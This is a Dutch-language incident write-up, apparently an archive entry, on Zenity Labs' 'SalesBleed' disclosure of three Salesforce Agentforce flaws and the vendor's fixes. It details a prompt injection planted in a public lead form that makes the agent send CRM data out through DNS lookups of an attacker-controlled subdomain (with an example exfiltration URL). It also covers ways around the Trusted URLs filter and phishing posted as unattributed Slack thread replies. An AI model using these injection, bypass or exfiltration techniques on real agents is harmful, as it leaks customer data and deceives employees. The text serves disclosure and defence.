SalesBleed: één publieke lead, drie Agentforce-gebreken, nul klikken

Op 24 september 2026, Zenity Labs publiceerde onderzoek met de naam SalesBleed: drie kwetsbaarheden in Salesforce Agentforce, het platform van de CRM-leverancier voor het bouwen en inzetten van AI-agenten, waarmee een buitenstaander klantrecords uit de Salesforce-org van een bedrijf kan halen en vervolgens de eigen agent van dat bedrijf kan gebruiken om zijn medewerkers te phishen. Twee van de drie vereisen geen klik van iemand binnen het bedrijf. De blootstelling geldt voor Agentforce-tenants die Web-to-Lead-inzendingen accepteren, en voor elke agent die een tenant in Slack heeft gepubliceerd. Dark Reading meldt dat er geen CVE-identificaties zijn toegewezen, en Salesforce heeft tegenover het medium verklaard dat er geen bewijs is van misbruik bij welke klant dan ook. Het volledige dossier, met de eigen betrouwbaarheidsgraad en schadestatus van het archief, staat in het Orca AI Incident Archive, waarin elk gedocumenteerd agentincident wordt gekoppeld aan de aangehaalde bronnen.

Hoe een openbaar leadformulier een datakanaal wordt

Web-to-Lead is het officiële mechanisme van Salesforce voor het verzamelen van leads, en het is bewust niet-geauthenticeerd — het bestaat zodat iedereen op internet een formulier kan indienen en de inhoud in de CRM van de klant terechtkomt. Zenity's eerste bericht, toegeschreven aan Alex Apostolov en collega's, begint daarmee als de volledige toegangsvoorwaarde: geen account om op te schorten, geen sessie om in te trekken, geen login-gebeurtenis om te detecteren. De aanvaller raakt de tenant nooit aan.

De keten die de onderzoekers beschrijven verloopt in vijf stappen:

• De aanvaller dient een lead in via een openbaar Web-to-Lead-endpoint, met een verborgen promptinjectie in een van de velden. Het lijkt op een gewone aanvraag.

• De lead blijft daar staan totdat een medewerker aan hun agent iets volstrekt gewoons vraagt — Zenity's voorbeeld is "bekijk mijn nieuwste leads en help me met de nieuwste."

• De agent leest het vergiftigde record en volgt de instructies daarin, met behulp van de tool Query Records die de standaard General CRM-subagent al bezit om de tabel Accounts te bevragen. Zenity is er expliciet over dat er geen privilege-escalatie nodig was: dezelfde subagent wordt geleverd met leestoegang tot zowel Leads als Accounts, en dat zijn standaardinstellingen en geen verkeerde configuraties.

• Het schrijft de waarden die het heeft opgehaald — een bedrijfsnaam en een dealgrootte, in het voorbeeld van de onderzoekers — naar het subdomein van een hostnaam die de aanvaller beheert, en drukt het resultaat weer af naar de gebruiker als een HTML-afbeeldingstag.

• Het chatinterface geeft externe afbeeldingsbronnen weer zonder sanitisatie of een bevestigingsstap, waardoor de client de hostnaam oplost. De gegevens gaan mee in de DNS-query.

Die laatste stap is het deel waar je even bij stil zou moeten staan. Omdat de payload meereist in de DNS-lookup, is het HTTP-verzoek dat volgt irrelevant — het kan mislukken, een time-out krijgen of gewoonweg worden geblokkeerd, en de data is al weg. Zenity merkt op dat dit HTTP-egresscontrols overleeft. Een enkel DNS-label is beperkt tot 63 tekens en een volledige naam tot 253, dus één inzending lekt een stukje; de onderzoekers beschrijven hoe ze een hele Accounts-tabel account voor account leegmaken via herhaalde verzoeken, en daar komt de "bleed" in de naam vandaan.

Er is een tweede exit die nog minder vereist: voor agents die in Slack worden gepubliceerd, is geen image-tag nodig. Slack zet ruwe URL's om in previews en crawlt de link om er een te maken, dus het printen van de URL is voldoende om dezelfde DNS-lookup te activeren. SecurityWeek citeert Zenity's samenvatting van het resulterende gedrag: Slack start verzoeken met CRM-gegevens naar door aanvallers beheerde infrastructuur zodra de links verschijnen.

Zenity is zorgvuldig over wat "zero-click" hier betekent, en dat onderscheid is van belang. De medewerker doet precies één ding: stelt zijn eigen agent een normale vraag over zijn eigen leads. Hij opent geen bijlage, volgt geen link en gaat met niets van wat de aanvaller heeft gestuurd in interactie. Alles na die vraag is automatisch. De kwaadaardige lead blijft ook gewoon als elk ander record in de Leads-tabel staan, dus hij kan opnieuw afgaan telkens wanneer een medewerker hem bekijkt — en een aanvaller die een breder kanaal wil, kan eenvoudig meer leads indienen. SecurityWeek legt een detail vast dat de fout nog scherper maakt: Agentforce meldde dat de inhoud door het beveiligingsbeleid van de organisatie was geblokkeerd, ook al hadden de CRM-gegevens de server van de aanvaller al bereikt.

Waarom het Trusted URLs-filter niet standhield

Trusted URLs is de Salesforce-beheersinstelling die precies dit moet voorkomen: het beperkt de externe bestemmingen die Agentforce kan bereiken en verwijdert links en afbeeldingen die verwijzen naar domeinen die niemand heeft goedgekeurd. Zenity vond twee randgevallen die, in combinatie, er zo doorheen glipten.

De eerste was het topniveaudomein. De redactiecomponent herkende slechts een vaste lijst met TLD's, en .fun — het domein dat door het out-of-band testplatform app.interactsh.com wordt gebruikt — stond daar niet op. Een hostnaam die eindigt op een niet-herkende TLD werd mogelijk helemaal niet als hostnaam geregistreerd. De tweede was waar een URL eindigt: de redactiecomponent en het oppervlak dat het antwoord weergaf, verschilden van mening over terminatietekens, en accolades en vierkante haken bevonden zich in die kloof. Een tekenreeks zoals https://random_string.oast.fun/{email} is geen geldige URI volgens RFC 3986, maar levert nog steeds de DNS-query op die de aanval nodig heeft. De redactiecomponent zag een misvormde niet-URL en liet die met rust; de browser was bereid hem als afbeeldingsbron op te halen.

Eén structureel detail maakte de omzeiling regelbaar. Het redigeren gebeurt nadat de agent zijn uitvoer heeft gegenereerd, als een afzonderlijk proces waarvan het model niets weet. Zenity ontdekte dat de ruwe uitvoer van de agent en de geredigeerde versie beide aanwezig waren in de antwoorden die naar de cliënt werden gestuurd, waardoor de onderzoekers de twee konden vergelijken en alle afwijkingen die het filter opving konden verwijderen — bijvoorbeeld vierkante haakjes in een subdomein — totdat de injectie end-to-end stabiel was.

Dark Reading meldt dat Salesforce's URL-redactie tot nu toe vertrouwde op het matchen met reguliere expressies om te beslissen of een string op een URL leek, waardoor domeinen in onverwachte formaten verborgen konden worden. Het bedrijf zegt dat het dat heeft vervangen door spec-conforme URL-parsing, en dat het de URL-inspectie heeft geconsolideerd zodat al het URL-gerelateerde agentverkeer nu via één gateway loopt.

De derde zwakte: phishing onder de eigen naam van de agent

De Slack-bevinding, dezelfde dag gepubliceerd in een tweede bericht dat aan João Donato en collega's wordt toegeschreven, gaat over identiteit in plaats van data. Agentforce-agenten kunnen rechtstreeks in Slack worden gepubliceerd, en hun capaciteiten komen binnen als subagenten; Zenity merkt op dat de Slack Knowledge-template, inclusief alle acties, met twee klikken kan worden toegevoegd.

De meeste schrijfacties in Slack die de onderzoekers onderzochten, hadden twee beschermingen: een bevestigingsstap vóór verzending en een herkomstvermelding die ontvangers vertelt welk verzoek van welke gebruiker het bericht heeft veroorzaakt. Een direct bericht in Slack verzenden had beide. Reageren in een Slack-thread had geen van beide. Zodra Agentforce besloot die actie aan te roepen, ging het bericht ongekeurd en zonder herkomstvermelding de deur uit — het droeg de identiteit van de agent en niets dat terugwees naar wie erom had gevraagd.

Dat leverde twee aanvalspaden op. Een kwaadwillende insider die al met de agent kan chatten, kan phishing in de juiste thread plaatsen en wegkomen zonder dat er iets naar hem of haar te herleiden is, omdat ontvangers het lezen als een bericht van de agent. Een externe aanvaller bereikt hetzelfde resultaat via de Web-to-Lead-injectie: de vergiftigde lead vertelt de agent om in Slack-kanalen te antwoorden, en dat doet die zonder de medewerker die het heeft geactiveerd te vragen. De URL-redactie-bypass uit de eerste post is wat de phishinglink door de filtering heen laat komen; later ontdekte Zenity dat links ook achter onschuldig uitziende markdown-tekst konden worden verborgen. Zenity en Salesforce beschrijven de consequentie beide in dezelfde bewoordingen: medewerkers ontvangen het bericht van een vertrouwd systeem dat al binnen hun werkplek actief is, in plaats van van een onbekende externe afzender, en iedereen die de link volgt en inloggegevens afstaat, stelt e-mail, Slack, repositories met broncode en al het andere dat die identiteit kan bereiken bloot.

Wat is vastgesteld, en wat niet

Vier dingen staan vast in de hier besproken bronnen. Zenity demonstreerde de aanvalsketens en publiceerde een video-proof-of-concept. Salesforce erkent de analyse en beschrijft de wijzigingen die het heeft aangebracht — in verklaringen aan Dark Reading en aan SecurityWeek. Aan geen van de drie kwetsbaarheden is een CVE toegekend, wat Dark Reading toeschrijft aan het feit dat de oplossingen aan de kant van Salesforce van een gehoste dienst zijn aangebracht en niet in software die klanten zelf draaien. En Salesforce verklaart dat het op dit moment geen bewijs heeft dat een van deze kwesties tegen een klant is misbruikt.

Wat niet vaststaat, is alles rond de schaal. Geen van de hier geraadpleegde bronnen vermeldt hoeveel Agentforce-tenants de getroffen standaardinstellingen gebruikten, of er daadwerkelijk klantgegevens uit een klantomgeving zijn verdwenen, of dat iemand buiten Zenity Labs en Salesforce ernaar heeft gezocht. De onafhankelijke media — Dark Reading, SecurityWeek, Infosecurity Magazine en The Register — deden elk verslag van de bevindingen en namen Salesforce' reactie over, maar geen van die berichten meldt een eigen reproductie van de aanval. Er is geen tweede onafhankelijk technisch onderzoek naar SalesBleed, en dit artikel suggereert dat ook niet.

De eigen bronnen van het artikel zijn het ook onderling oneens over één detail, op een manier die het vermelden waard is in plaats van te verdoezelen. In het persbericht van Zenity, verspreid via Business Wire op 24 september, staat dat Salesforce de specifieke bypasses van Trusted URLs die Zenity had gemeld, "binnen ongeveer twee weken" heeft verholpen. De dag-tot-dagtijdlijn in Zenity's technische post loopt van 1 juni, toen het rapport werd verzonden, tot 18 en 19 augustus, toen de oplossing werd bevestigd — dichter bij elf weken. Beide lezingen zijn afkomstig van dezelfde organisatie.

Wat Salesforce heeft gewijzigd, en wanneer

De melding duurde lang en verliep volgens Zenity in goede sfeer. De bevindingen gingen op 1 juni 2026 per e-mail naar Salesforce; Salesforce bevestigde ze de volgende dag en zei aan oplossingen te werken; de twee teams hielden op 16 juni een technische call; Salesforce sloot de meldingen op 17 juni en merkte op dat engineering er nog aan werkte. Op 18 augustus bevestigde Salesforce de oplossingen, en op 19 augustus verifieerde Zenity specifiek de omzeiling van Trusted URLs. De attributie bij de Slack-actie werd op 20 augustus als opgelost bevestigd. Het standaard vereisen van bevestiging duurde langer: op 25 augustus zei Salesforce er nog aan te werken, op 10 september gaf het 21 september als streefdatum, en op 21 september testte en bevestigde Zenity alle drie.

De wijzigingen die Salesforce beschrijft zijn specifiek. Standaardinstellingen voor bepaalde Agentforce-acties in Slack vereisen nu bevestiging door de gebruiker voordat een bericht wordt verzonden, en het bedrijf zegt klanten rechtstreeks te benaderen om hun configuraties te controleren. Bij Trusted URLs is het matchen met regex verdwenen ten gunste van parsing die aan de specificatie voldoet, en URL-inspectie is ondergebracht in één gateway in plaats van op meerdere punten in een workflow te worden afgehandeld.

Zenity's slotopmerking over de Slack-fix is een voorbehoud in plaats van groen licht. De bevestigingsvereiste is een instelling en is met één klik uit te zetten; zodra die uitstaat, is hetzelfde aanvalspad weer beschikbaar. Het advies van de onderzoekers aan organisaties die agents bouwen, is om te letten op hoe schrijfacties zijn geconfigureerd in plaats van ervan uit te gaan dat de standaardinstelling standhoudt.

Waarom de onderzoekers zeggen dat het generaliseert

Hoewel de details Salesforce-specifiek zijn, presenteert Zenity SalesBleed als een voorbeeld van een patroon. Hun eigen samenvatting is dat elke agent die records leest die door externe bronnen zijn ingediend, links of afbeeldingen aan een gebruiker teruggeeft en ook via tools toegang tot gevoelige gegevens heeft, dezelfde drie ingrediënten op dezelfde plek bevat. De onderzoekers noemen de combinatie een versie van de dodelijke trifecta — privégegevens, niet-vertrouwde inhoud en een uitgaand kanaal die samenkomen in één identiteit.

Het patroon heeft lokale geschiedenis. Dark Reading meldt dat onderzoekers van Noma Security een jaar vóór SalesBleed dezelfde Web-to-lead-route gebruikten om bij Salesforce-gegevens te komen, en dat Salesforce daarop reageerde door zijn URL-regels aan te scherpen — de op regex gebaseerde redactie die Zenity vervolgens omzeilde. Een woordvoerder van Salesforce erkende tegenover Dark Reading dat de eerdere reactie een snelle oplossing was in plaats van een allesomvattende, en zei dat deze reactie bedoeld is om robuuster te zijn.

"Wij hebben meerdere manieren gevonden om de beveiligingsgrens te doorbreken die is ontworpen om te voorkomen dat Agentforce bedrijfsgegevens naar niet-goedgekeurde bestemmingen verstuurt," zegt Michael Bargury, medeoprichter en chief technology officer van Zenity, in het persbericht. "Harde grenzen blijven een van onze sterkste instrumenten om AI-agenten in te perken, maar het is nog steeds software. Wanneer die controles falen, houden we een agent met bevoorrechte toegang over, met grote autonomie en zonder grenzen." Tamir Ishay Sharbat, directeur securityonderzoek bij Zenity, bracht het bredere punt over aan Dark Reading: hoe meer macht een agent krijgt, hoe gevaarlijker hij is, en een agent die zelf meerdere kanalen kan aanschrijven en tegelijk contracten, leads of crediteurenadministratie leest, is een combinatie die misbruikt zal worden. Bargury voegde aan dezelfde publicatie een tweede zorg toe — dat agenten als black boxes worden gebouwd, met samenvattingen in plaats van logs, waardoor het moeilijk is te achterhalen wat een agent heeft gedaan of waarom.

Wat dit record van een demonstratie naar een incident zou verplaatsen, is niet een nieuwe techniek maar een bewijsstuk: een klantonthulling, een CVE, of een verklaring van Salesforce of Zenity dat de ketens in gebruik zijn gezien. Niets daarvan bestaat in de hier beoordeelde bronnen. Totdat dat wel het geval is, blijft SalesBleed staan als wat het archief ervan vastlegt — een kwetsbaarheid met hoge ernst, gedocumenteerd volgens een confidence-A-standaard door de mensen die haar hebben gevonden en door de leverancier bevestigd als opgelost, zonder geregistreerde schade in de echte wereld.